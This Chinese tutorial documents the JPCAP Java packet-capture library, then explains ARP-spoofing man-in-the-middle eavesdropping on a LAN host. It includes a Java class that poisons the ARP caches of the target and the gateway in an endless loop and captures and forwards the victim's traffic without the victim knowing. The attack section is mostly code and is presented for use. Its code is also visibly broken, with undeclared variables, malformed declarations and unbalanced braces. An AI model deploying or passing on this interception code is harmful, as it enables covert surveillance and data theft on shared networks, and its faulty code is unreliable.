JPCAP——Java中的数据链路层控制

• 　　一．JPCAP简介
  
  　　众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。
  
  　　JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。
  
  　　二．JPCAP机制
  
  　　JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef struct _ADAPTERADAPTER，getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。
  
  　　1．NetworkInterface
  
  　　该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。
  
  

  数据成员
  NetworkInterfaceAddress[]
  java.lang.String	datalink_description. 数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。
  java.lang.String	datalink_name 该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。
  java.lang.String	description 网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC
  boolean	Loopback 标志这个设备是否loopback设备。
  byte[]	mac_address 网卡的MAC地址，6个字节。
  java.lang.String	Name 这个设备的名称。例如我的网卡名称：\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}

  
  　　2．JpcapCaptor
  
  　　该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。
  
  

  数据成员
  int	dropped_packets 抛弃的包的数目。
  protected int	ID 这个数据成员在官方文档中并没有做任何说明，查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。
  protected staticboolean[]	instanciatedFlag 同样在官方文档中没有做任何说明，估计其为供内部使用。
  protected staticint	MAX_NUMBER_OF_INSTANCE 同样在官方文档中没有做任何说明，估计其为供内部使用。
  int	received_packets 收到的包的数目
  方法成员
  staticNetworkInterface[]	getDeviceList() 返回一个网络设备列表。
  staticJpcapCaptor	openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms) 创建一个与指定设备的连接并返回该连接。注意，以上两个方法都是静态方法。 Interface：要打开连接的设备的实例； Snaplen：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节； Promisc：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数setFilter()将不起任何作用； To_ms：这个参数主要用于processPacket()方法，指定超时的时间；
  void	Close() 关闭调用该方法的设备的连接，相对于openDivece()打开连接。
  JpcapSender	getJpcapSenderInstance() 该返回一个JpcapSender实例，JpcapSender类是专门用于控制设备的发送数据包的功能的类。
  Packet	getPacket() 捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。
  int	loopPacket(intcount, PacketReceiver handler) 捕捉指定数目的数据包，并交由实现了PacketReceiver接口的类的实例处理，并返回捕捉到的数据包数目。如果count参数设为－1，那么无限循环地捕捉数据。 这个方法不受超时的影响。还记得openDivice()中的to_ms参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。 PacketReceiver中只有一个抽象方法void receive(Packet p)。
  int	processPacket(intcount, PacketReceiver handler) 跟loopPacket()功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。
  int	dispatchPacket(intcount, PacketReceiverhandler) 跟processPacket()功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。
  void	setFilter(java.lang.Stringcondition, booleanoptimize) .condition：设定要提取的包的关键字。 Optimize：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处于优化模式。
  void	setNonBlockingMode(booleannonblocking) 如果值为“true”，那么设定为“non-blocking”模式。
  void	breakLoop() 当调用processPacket()和loopPacket()后，再调用这个方法可以强制让processPacket()和loopPacket()停止。

  
  　　3．JpcapSender
  
  　　该类专门用于控制数据包的发送。
  
  

  方法成员
  void	close() 强制关闭这个连接。
  staticJpcapSender	openRawSocket() 这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。
  void	sendPacket(Packet packet) JpcapSender最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话，需要自己设定数据链路层的头，而如果是由上面的openRawSocket()得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。

  
  　　4．Packet
  
  　　这个是所有其它数据包类的父类。Jpcap所支持的数据包有：
  ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

  　　三．使用JPCAP实现监听
  
  　　1．监听原理　
  
  　　在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。
  
  　　局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。
  
  　　假设本机为A，监听目标为B。
  
  　　首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。
  
  　　接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。
  
  　　这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。
  
  　　ARP数据包解析
  
  　　单元：Byte
  
  

  Ethernet头部			ARP数据部分
  6	6	2	2	2	2	2	4	6	4	6
  目标MAC地址	源地MAC地址	类型号0x0800:ip 0x0806:ARP	局域网类型 以太网0x0001	网络协议类型 IP网络0x0800	MAC/IP地址长度，恒为0x06/04	ARP包类型 REPLY 0x0002	ARP目标IP地址	ARP目标MAC 地址	ARP源IP地址	ARP源MAC地址

  
  　　2．用JPCAP实现监听
  
  　　就如上面说的，为了实现监听，我们必须做四件事：
  
  　　A．发送ARP包修改B的ARP缓存表；
  
  　　B．发送ARP包修改路由ARP缓存表；
  
  　　C．转发B发过来的数据包；
  
  　　D．转发路由发过来的数据包；
  
  　　下面我们给个小小的例子说明怎样实现。
  
  　　我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。
  
  
  public class changeARP{
  　private NetworkInterface[] devices; //设备列表
  　private NetworkInterface device; //要使用的设备
  　private JpcapCaptor jpcap; //与设备的连接
  　private JpcapSender sender; //用于发送的实例
  　private byte[] targetMAC, gateMAC; //B的MAC地址，网关的MAC地址
  　private byte[] String targetIp, String gateIp; //B的IP地址，网关的IP地址
  　/**
  　*初始化设备
  　* JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是“Generic
  　*dialup adapter”，这是windows系统的虚拟网卡，并非真正的硬件设备。
  
  　*注意：在这里有一个小小的BUG，如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
  　*JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。
  　*虚拟网卡只有MAC地址而没有IP地址，而且如果出现虚拟网卡，那么实际网卡的MAC将分
  　*配给虚拟网卡，也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
  
  　*/
  
  　private NetworkInterface getDevice() throws IOException {
  　　devices = JpcapCaptor.getDeviceList(); //获得设备列表
  　　device = devices[0];//只有一个设备
  　　jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
  　　jpcap.setFilter(“ip”,true); //只监听B的IP数据包
  　　sender = captor.getJpcapSenderInstance();
  　}
  　/**
  　*修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表，所以必须每隔一
  　*段时间就发一次包重新更改B和网关的ARP表。
  　*@参数 targetMAC B的MAC地址，可通过ARP解析得到；
  　*@参数 targetIp B的IP地址；
  　*@参数 gateMAC 网关的MAC地址；
  　*/
  
  　public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
  　throws UnknownHostException,InterruptedException {
  　　this. targetMAC = targetMAC;
  　　this. targetIp = targetIp;
  　　this. gateMAC = gateMAC;
  　　this. gateIp = gateIp;
  　　getDevice();
  　　arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
  　　arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
  　　arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
  　　arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
  　　arpTarget.hlen = 6; //MAC地址长度固定6个字节
  　　arpTarget.plen = 4; //IP地址长度固定4个字节
  　　arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
  　　arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP
  
  　　arpTarget.target_hardaddr = targetMAC; //B的MAC地址
  　　arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP
  
  　　EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
  　　ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型
  　　ethToTarget.src_mac = device.mac_address; //A的MAC地址
  　　ethToTarget.dst_mac = targetMAC; //B的MAC地址
  　　arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前
  　　arpGate = new ARPPacket(); //修改网关ARP表的包
  　　arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似，不再重复注析
  　　arpGate.prototype = ARPPacket.PROTOTYPE_IP;
  　　arpGate.operation = ARPPacket.ARP_REPLY;
  　　arpGate.hlen = 6;
  　　arpGate.plen = 4;
  　　arpGate.sender_hardaddr = device.mac_address;
  　　arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
  　　arpGate.target_hardaddr = gateMAC;
  　　arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
  　　EthernetPacket ethToGate = new EthernetPacket();
  　　ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
  　　ethToGate.src_mac = device.mac_address;
  　　ethToGate.dst_mac = gateMAC;
  　　arpGate.datalink = ethToGate;
  　　thread=new Thread(new Runnable(){ //创建一个进程控制发包速度
  　　public void run() {
  　　　while (true) {
  　　　　sender.sendPacket(arpTarget);
  　　　　sender.sendPacket(arpGate);
  　　　　Thread.sleep(500);
  　　　}).start();
  　　　recP(); //接收数据包并转发
  　　}
  　　/**
  　　*修改包的以太头，转发数据包
  　　*参数 packet 收到的数据包
  　　*参数 changeMAC 要转发出去的目标
  　　*/
  　　private void send(Packet packet, byte[] changeMAC) {
  　　　EthernetPacket eth;
  　　　if (packet.datalink instanceof EthernetPacket) {
  　　　　eth = (EthernetPacket) packet.datalink;
  　　　　for (int i = 0; i < 6; i++) {
  　　　　　eth.dst_mac[i] = changeMAC[i]; //修改包以太头，改变包的目标
  　　　　　eth.src_mac[i] = device.mac_address[i]; //源发送者为A
  　　　　}
  　　　　sender.sendPacket(packet);
  　　　}
  　　}
  　　/**
  　　*打印接受到的数据包并转发
  　　*/
  　　public void recP(){
  　　　IPPacket ipPacket = null;
  　　　while(true){
  　　　　ipPacket = （IPPacket）jpcap.getPacket();
  　　　　System.out.println(ipPacket);
  　　　　if (ipPacket.src_ip.getHostAddress().equals(targetIp))
  　　　　　send(packet, gateMAC);
  　　　　else
  　　　　　send(packet, targetMAC);
  　　　}
  　　}
  　　注意：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。

  （出处：急速软件下载学院）

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